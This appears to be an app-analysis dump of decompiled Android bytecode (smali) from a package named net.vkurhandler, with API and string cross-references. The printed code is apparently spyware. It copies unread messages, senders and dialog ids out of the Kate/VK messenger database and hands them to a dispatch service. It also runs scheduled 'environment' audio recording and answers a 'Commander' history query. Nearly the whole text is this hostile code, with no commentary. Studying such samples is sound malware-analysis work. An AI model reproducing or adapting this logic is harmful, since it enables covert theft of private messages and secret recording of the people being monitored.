                    41move-result-wide v12
                    43invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    44move-result v4
                    45if-eqz v4, :cond_6d
                    47const-string v4, "RTVKKate"
                    48const/4 v5, 0x2
                    49new-array v5, v5, [Ljava/lang/String;
                    50const/4 v6, 0x0
                    51new-instance v7, Ljava/lang/StringBuilder;
                    53const-string v8, "can read message db copy is "
                    55invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    57invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                    58move-result-object v7
                    60invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    61move-result-object v7
                    62aput-object v7, v5, v6
                    63const/4 v6, 0x1
                    64new-instance v7, Ljava/lang/StringBuilder;
                    66const-string v8, " lastUpdate "
                    68invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    70invoke-virtual {v7, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    71move-result-object v7
                    73invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    74move-result-object v7
                    75aput-object v7, v5, v6
                    77invoke-static {v4, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    78cond_6d: if-eqz v2, :cond_1c4
                    80sget-object v2, Lnet/vkurhandler/dp;->l:Ljava/lang/String;
                    81const/4 v4, 0x0
                    82const/16 v5, 0x11
                    84invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    85try_end_77: move-result-object v2
                    86try_start_78:
                    87const-string v3, "messages"
                    89sget-object v4, Lnet/vkurhandler/dp;->m:[Ljava/lang/String;
                    90new-instance v5, Ljava/lang/StringBuilder;
                    92const-string v6, "have_attachments = 0 AND date > "
                    94invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    96invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    97move-result-object v5
                    99invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    100move-result-object v5
                    101const/4 v6, 0x0
                    102const/4 v7, 0x0
                    103const/4 v8, 0x0
                    104const/4 v9, 0x0
                    106invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    107try_end_92: move-result-object v4
                    108const/4 v3, 0x0
                    109move-wide v6, v12
                    110try_start_95:
                    111invoke-interface {v4}, Landroid/database/Cursor;->moveToNext()Z
                    112move-result v5
                    113if-nez v5, :cond_cf
                    114if-eqz v3, :cond_158
                    115move-object/from16 v0, p0
                    117iget-object v3, v0, Lnet/vkurhandler/dp;->g:Landroid/content/SharedPreferences;
                    119invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    120move-result-object v3
                    122const-string v5, "messenger_rt_vkkate_last_update"
                    124invoke-interface {v3, v5, v6, v7}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    125move-result-object v3
                    127invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    128move-object/from16 v0, p0
                    130iget-object v3, v0, Lnet/vkurhandler/dp;->d:Landroid/content/Context;
                    132invoke-static {v3}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    133try_end_b5: if-eqz v4, :cond_ba
                    134try_start_b7:
                    135invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    136cond_ba: if-eqz v2, :cond_12
                    138invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    139move-result v3
                    140if-eqz v3, :cond_12
                    142invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    143try_end_c5: goto/16 :goto_12
                    144catch_c7: move-exception v2
                    146const-string v3, "RTVKKate"
                    148invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    149goto/16 :goto_12
                    150cond_cf: const/4 v12, 0x1
                    151const/4 v3, 0x0
                    152try_start_d1:
                    153invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    154move-result v5
                    155const/4 v3, 0x1
                    157invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    158move-result v13
                    159const/4 v3, 0x2
                    161invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    162move-result-object v14
                    163const/4 v3, 0x3
                    165invoke-interface {v4, v3}, Landroid/database/Cursor;->getLong(I)J
                    166move-result-wide v10
                    167cmp-long v3, v10, v6
                    168if-lez v3, :cond_1c1
                    169move-wide v8, v10
                    170goto_e9: const/4 v3, 0x4
                    172invoke-interface {v4, v3}, Landroid/database/Cursor;->getInt(I)I
                    173move-result v3
                    174const/4 v6, 0x1
                    175if-ne v3, v6, :cond_155
                    176const/4 v3, 0x1
                    177move v6, v3
                    178goto_f3: const/4 v3, 0x5
                    180invoke-interface {v4, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    181move-result-object v7
                    182move-object/from16 v0, p0
                    184invoke-direct {v0, v2, v5}, Lnet/vkurhandler/dp;->a(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    185move-result-object v3
                    186move-object/from16 v0, p0
                    188invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dp;->a(Landroid/database/sqlite/SQLiteDatabase;I)Ljava/lang/String;
                    189move-result-object v5
                    190if-eqz v6, :cond_1ba
                    191goto_106: move-object/from16 v0, p0
                    193invoke-virtual {v0, v14, v3, v5}, Lnet/vkurhandler/dp;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    194move-result v13
                    195if-eqz v13, :cond_151
                    197invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    198move-result-object v13
                    200const-string v15, "type"
                    201const/16 v16, 0x1
                    202move/from16 v0, v16
                    204invoke-virtual {v13, v15, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    206const-string v15, "sub_type"
                    207const/16 v16, 0xb
                    208move/from16 v0, v16
                    210invoke-virtual {v13, v15, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    212const-string v15, "date"
                    213const/16 v16, 0x1
                    214const-wide/16 v18, 0x3e8
                    215mul-long v10, v10, v18
                    216move/from16 v0, v16
                    218invoke-static {v0, v10, v11}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    219move-result-object v10
                    221invoke-virtual {v13, v15, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    223const-string v10, "message"
                    225invoke-virtual {v13, v10, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    227const-string v10, "sender"
                    229invoke-virtual {v13, v10, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    231const-string v3, "peer"
                    233invoke-virtual {v13, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    235const-string v3, "is_out"
                    237invoke-virtual {v13, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    239const-string v3, "dialog_id"
                    241invoke-virtual {v13, v3, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    243invoke-static {v13}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    244cond_151: move v3, v12
                    245move-wide v6, v8
                    246goto/16 :goto_95
                    247cond_155: const/4 v3, 0x0
                    248move v6, v3
                    249goto/16 :goto_f3
                    250cond_158: const/4 v3, 0x1
                    251move-object/from16 v0, p0
                    252iput-boolean v3, v0, Lnet/vkurhandler/dp;->o:Z
                    253try_end_15d: goto/16 :goto_b5
                    254catch_15f: move-exception v3
                    255move-object/from16 v20, v3
                    256move-object v3, v4
                    257move-object v4, v2
                    258move-object/from16 v2, v20
                    259goto_166:
                    260const-string v5, "RTVKKate"
                    262invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    263try_end_16b: if-eqz v3, :cond_170
                    264try_start_16d:
                    265invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    266cond_170: if-eqz v4, :cond_12
                    268invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    269move-result v2
                    270if-eqz v2, :cond_12
                    272invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    273try_end_17b: goto/16 :goto_12
                    274catch_17d: move-exception v2
                    276const-string v3, "RTVKKate"
                    278invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    279goto/16 :goto_12
                    280catchall_185: move-exception v2
                    281goto_186: if-eqz v10, :cond_18b
                    282try_start_188:
                    283invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    284cond_18b: if-eqz v3, :cond_196
                    286invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    287move-result v4
                    288if-eqz v4, :cond_196
                    290invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    291try_end_196: throw v2
                    292catch_197: move-exception v3
                    294const-string v4, "RTVKKate"
                    296invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    297goto/16 :goto_196
                    298catchall_19e: move-exception v3
                    299move-object/from16 v20, v3
                    300move-object v3, v2
                    301move-object/from16 v2, v20
                    302goto/16 :goto_186
                    303catchall_1a5: move-exception v3
                    304move-object v10, v4
                    305move-object/from16 v20, v3
                    306move-object v3, v2
                    307move-object/from16 v2, v20
                    308goto/16 :goto_186
                    309catchall_1ad: move-exception v2
                    310move-object v10, v3
                    311move-object v3, v4
                    312goto/16 :goto_186
                    313catch_1b1: move-exception v2
                    314move-object v4, v3
                    315move-object v3, v10
                    316goto/16 :goto_166
                    317catch_1b5: move-exception v3
                    318move-object v4, v2
                    319move-object v2, v3
                    320move-object v3, v10
                    321goto/16 :goto_166
                    322cond_1ba: move-object/from16 v20, v5
                    323move-object v5, v3
                    324move-object/from16 v3, v20
                    325goto/16 :goto_106
                    326cond_1c1: move-wide v8, v6
                    327goto/16 :goto_e9
                    328cond_1c4: move-object v4, v10
                    329move-object v2, v3
                    330goto/16 :goto_b5
                    Cross References
                    APIs
                    • java.lang.String.valueOf
                    • org.json.JSONObject.getJSONObject
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.m:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.findViewById
                    • org.json.JSONObject.getBoolean
                    • android.widget.CheckBox.setChecked
                    Strings
                    • arec_env_schedule_week_
                    • _begin
                    • id
                    • %02d:%02d
                    • hour_begin
                    • minute_begin
                    • _end
                    • hour_end
                    • minute_end
                    • enabled
                    • AudiorecordEnvironmentScheduleActivity
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1move v1, v0
                    2goto_2: const/4 v0, 0x7
                    3if-le v1, v0, :cond_6
                    4return-void
                    5try_start_6:
                    6invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    7move-result-object v0
                    9invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    10move-result-object v2
                    12invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    13move-result-object v0
                    14new-instance v3, Ljava/lang/StringBuilder;
                    16const-string v4, "arec_env_schedule_week_"
                    18invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    20sget-object v4, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    21aget-object v4, v4, v1
                    23invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    24move-result-object v3
                    26const-string v4, "_begin"
                    28invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    29move-result-object v3
                    31invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    32move-result-object v3
                    34const-string v4, "id"
                    36invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    37move-result-object v5
                    39invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    40move-result v0
                    42invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    43move-result-object v0
                    44check-cast v0, Landroid/widget/TextView;
                    46const-string v3, "%02d:%02d"
                    47const/4 v4, 0x2
                    48new-array v4, v4, [Ljava/lang/Object;
                    49const/4 v5, 0x0
                    51const-string v6, "hour_begin"
                    53invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    54move-result v6
                    56invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    57move-result-object v6
                    58aput-object v6, v4, v5
                    59const/4 v5, 0x1
                    61const-string v6, "minute_begin"
                    63invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    64move-result v6
                    66invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    67move-result-object v6
                    68aput-object v6, v4, v5
                    70invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    71move-result-object v3
                    73invoke-virtual {v0, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    75invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    76move-result-object v0
                    77new-instance v3, Ljava/lang/StringBuilder;
                    79const-string v4, "arec_env_schedule_week_"
                    81invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    83sget-object v4, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    84aget-object v4, v4, v1
                    86invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    87move-result-object v3
                    89const-string v4, "_end"
                    91invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    92move-result-object v3
                    94invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    95move-result-object v3
                    97const-string v4, "id"
                    99invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    100move-result-object v5
                    102invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    103move-result v0
                    105invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    106move-result-object v0
                    107check-cast v0, Landroid/widget/TextView;
                    109const-string v3, "%02d:%02d"
                    110const/4 v4, 0x2
                    111new-array v4, v4, [Ljava/lang/Object;
                    112const/4 v5, 0x0
                    114const-string v6, "hour_end"
                    116invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    117move-result v6
                    119invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    120move-result-object v6
                    121aput-object v6, v4, v5
                    122const/4 v5, 0x1
                    124const-string v6, "minute_end"
                    126invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    127move-result v6
                    129invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    130move-result-object v6
                    131aput-object v6, v4, v5
                    133invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    134move-result-object v3
                    136invoke-virtual {v0, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    138invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getResources()Landroid/content/res/Resources;
                    139move-result-object v0
                    140new-instance v3, Ljava/lang/StringBuilder;
                    142const-string v4, "arec_env_schedule_week_"
                    144invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    146sget-object v4, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->m:[Ljava/lang/String;
                    147aget-object v4, v4, v1
                    149invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    150move-result-object v3
                    152invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    153move-result-object v3
                    155const-string v4, "id"
                    157invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getPackageName()Ljava/lang/String;
                    158move-result-object v5
                    160invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    161move-result v0
                    163invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    164move-result-object v0
                    165check-cast v0, Landroid/widget/CheckBox;
                    167const-string v3, "enabled"
                    169invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    170move-result v2
                    172invoke-virtual {v0, v2}, Landroid/widget/CheckBox;->setChecked(Z)V
                    173goto_e4: add-int/lit8 v0, v1, 0x1
                    174move v1, v0
                    175goto/16 :goto_2
                    176catch_e9: move-exception v0
                    178const-string v2, "AudiorecordEnvironmentScheduleActivity"
                    180invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    181goto/16 :goto_e4
                    Cross References
                    APIs
                    • org.json.JSONArray.<init>
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.rawQuery
                    • android.database.Cursor.getCount
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.moveToNext
                    • android.database.Cursor.close
                    • org.json.JSONArray.toString
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.RuntimeException.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • org.json.JSONObject.<init>
                    • android.database.Cursor.getString
                    • org.json.JSONObject.put
                    • android.database.Cursor.getInt
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    Strings
                    • select * from history where
                    • data_type
                    • =
                    • AND
                    • data_sub_type
                    • order by id
                    • limit
                    • data
                    • id
                    • Commander
                    • >
                    Position Instruction Meta Information
                    0new-instance v0, Lorg/json/JSONArray;
                    2invoke-direct {v0}, Lorg/json/JSONArray;-><init>()V
                    3try_start_5:
                    4invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    5move-result-object v1
                    7invoke-virtual {v1}, Lnet/vkurhandler/ao;->b()Landroid/database/sqlite/SQLiteDatabase;
                    8move-result-object v1
                    9new-instance v2, Ljava/lang/StringBuilder;
                    11const-string v3, "select * from history where "
                    13invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    15const-string v3, "data_type"
                    17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    18if-lez p1, :cond_92
                    20const-string v3, "="
                    22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    23move-result-object v3
                    25invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    26move-result-object v3
                    28const-string v4, " "
                    30invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    31goto_2a:
                    32const-string v3, " AND "
                    34invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    35move-result-object v3
                    37const-string v4, "data_sub_type"
                    39invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    40if-lez p2, :cond_b0
                    42const-string v3, "="
                    44invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    45move-result-object v3
                    47invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    48move-result-object v3
                    50const-string v4, " "
                    52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    53goto_46:
                    54const-string v3, " order by id "
                    56invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    57move-result-object v3
                    59invoke-virtual {v3, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    60move-result-object v3
                    62const-string v4, " limit "
                    64invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    65move-result-object v3
                    67invoke-virtual {v3, p4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    69invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    70move-result-object v2
                    71const/4 v3, 0x0
                    73invoke-virtual {v1, v2, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                    74move-result-object v1
                    76invoke-interface {v1}, Landroid/database/Cursor;->getCount()I
                    77move-result v2
                    78if-lez v2, :cond_7a
                    80const-string v2, "data"
                    82invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    83move-result v2
                    85const-string v3, "id"
                    87invoke-interface {v1, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    88move-result v3
                    89goto_74:
                    90invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
                    91move-result v4
                    92if-nez v4, :cond_c0
                    93cond_7a:
                    94invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    96invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    97move-result-object v1
                    99invoke-virtual {v1}, Lnet/vkurhandler/ao;->c()V
                    100try_end_84:
                    101invoke-virtual {v0}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    102move-result-object v0
                    104const-string v1, "Commander"
                    106invoke-static {v1, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    108invoke-static {v0}, Lnet/vkurhandler/gn;->h(Ljava/lang/String;)Ljava/lang/String;
                    109move-result-object v0
                    110return-object v0
                    111cond_92:
                    112const-string v3, ">"
                    114invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    115move-result-object v3
                    117invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    118move-result-object v3
                    120const-string v4, " "
                    122invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    123try_end_a1: goto/16 :goto_2a
                    124catch_a2: move-exception v0
                    126invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    127move-result-object v1
                    129invoke-virtual {v1}, Lnet/vkurhandler/ao;->c()V
                    130new-instance v1, Ljava/lang/RuntimeException;
                    132invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                    133throw v1
                    134cond_b0:
                    135const-string v3, ">"
                    137invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    138move-result-object v3
                    140invoke-virtual {v3, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    141move-result-object v3
                    143const-string v4, " "
                    145invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    146goto/16 :goto_46
                    147cond_c0: new-instance v4, Lorg/json/JSONObject;
                    149invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                    151const-string v5, "data"
                    153invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    154move-result-object v6
                    156invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    158const-string v5, "id"
                    160invoke-interface {v1, v3}, Landroid/database/Cursor;->getInt(I)I
                    161move-result v6
                    163invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    165invoke-virtual {v0, v4}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    166try_end_da: goto/16 :goto_74
                    Cross References
                    APIs
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.AudiorecordSplitter.b
                    • net.vkurhandler.AudiorecordEnvironmentEndDetector.a
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.bq.d:Lnet/vkurhandler/bq
                    • java.lang.StringBuilder.<init>
                    • android.util.Log.getStackTraceString
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • Audiorecorder
                    • try start record,stage#1
                    • can\'t start audiorecord in silence mode
                    • try start record with data:
                    • audiorecord_type
                    • file_ext
                    • .mp3
                    • absolute_file_path
                    • interval_arecord_in_ms
                    • split:
                    • |intervalArecordInMs:
                    • |newRecType:
                    • AudiorecordSplitter.restart
                    • stage#1,s:
                    • |f:
                    • |codec:
                    • |sampling:
                    • |rt:
                    • |fp:
                    • start recording successfuly
